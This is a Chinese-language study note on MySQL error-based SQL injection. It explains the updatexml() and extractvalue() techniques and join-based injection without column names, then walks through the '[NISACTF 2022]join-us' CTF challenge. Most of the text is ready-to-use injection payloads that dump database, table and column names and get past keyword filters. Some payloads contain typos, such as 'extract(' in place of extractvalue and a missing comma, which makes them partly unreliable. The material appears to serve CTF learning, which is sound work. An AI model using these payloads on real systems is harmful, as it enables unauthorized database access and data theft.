SQL报错注入
平时在做SQL题时,如果发生语法的错误时,就会产生报错,报错的信息就会显示在前端
报错注入大多是利用函数会报错的特性,将需要的信息通过报错信息回显出来
报错注入函数(后面主要的还有一个floor函数暂时没有了解)
目前我接触过的报错注入函数就两种,extractvalue()和updatexml()
extractvalue和updatexml都是MySQL对于XML文档数据进行查询的xpath函数,两个函数都是让参数中出现特殊符号,导致函数报错,并且将特殊符号之后的内容回显在报错语句语句中
updatexml()函数
payload:updatexml(Xml_document,Xpathstring,new_value)
xml_document:xml标记
Xpathstring:显示输入语句
new_value:新值
这是updatexml函数的参数,那么根据参数的作用,我们应该是在Xpathstring的位置进行构造,
一般来说我喜欢用‘0x7e’的特殊符号,也就是‘~’
1'(或者1) and updatexml(1,concat(0x7e,database(),0x7e),3)#/爆库
1'(或者1) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = xxx),0x7e),3)#/爆表
1'(或者1) and updatexml(1,concat(0x7e,group_concat(select column_name from information_schema.columns where columns_name =xxx ),0x7e),3)#/爆字段
extractvalue()函数
extractvalue(XML_document,XPath_string)
XML_document:XML文档对象名称
XPath_string:输入的操作语句
extractvalue和updatexml在构造注入语句时的区别就在于参数数量
1'(或者1) and extract(1,concat(0x7e,database(),0x7e))#/爆库
1'(或者1) and extract(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = xxx),0x7e))#/爆表
1'(或者1) and extract(1,concat(0x7e,group_concat(select column_name from information_schema.columns where columns_name =xxx ),0x7e))#/爆字段
报错注入例题
[NISACTF 2022]join-us
这题中涉及到之前没有遇到过的知识--无列名注入
题目提示的join,利用join进行无列名注入:
join是把两张表的列名相加,就导致有可能会产生相同的表名,但是jion不允许合并的两个表中有相同的列名,因此通过报错得到列名
mysql> select * from tp_one;
+----------+----------+
| username | password |
+----------+----------+
| Tom | 123 |
+----------+----------+
mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b using(username)) as c;
ERROR 1060 (42S21): Duplicate column name 'password'
(select *from output)as a;//查询输出内容,作为表a
select output as a;//把输出作为a表
看题,典型的SQL注入
输入1和1',看看回显(这是1'的回显),报错了,这里先判断一下闭合。报错语句中出现了''1''',其中1'是输入的,那么应该是什么闭合呢,一开始我以为是双引号闭合,然后把后面的双引号注释掉,但是报错了。我看了wp,是单引号闭合,因为引号是要配对的,两两配对后就只用注释掉一个引号,所以说用单引号闭合
fuzz测试后,过滤了一些东西(or用||代替,=用like代替,as,column),需要爆库名,用到database,但是as被过滤了,这里有又是没见过的,通过查询不存在的库名,报错回显出库名
1' || (select * from a)#
爆表名
1'|| extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#
接下来应该是爆表名,但是column被过滤了,这里就用join来进行无列名注入
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))# //解释一下:b,c两个表都是查询内容规整的,因此存在相同的列名,所以join把两表相加后,就会返回相同的列名,规整到c表中,在查询c表
1' || extractvalue(1,concat(0x07, (select data from output) 0x07))#
1' || extractvalue(1,concat(0x07, mid((select data from output),28), 0x07))#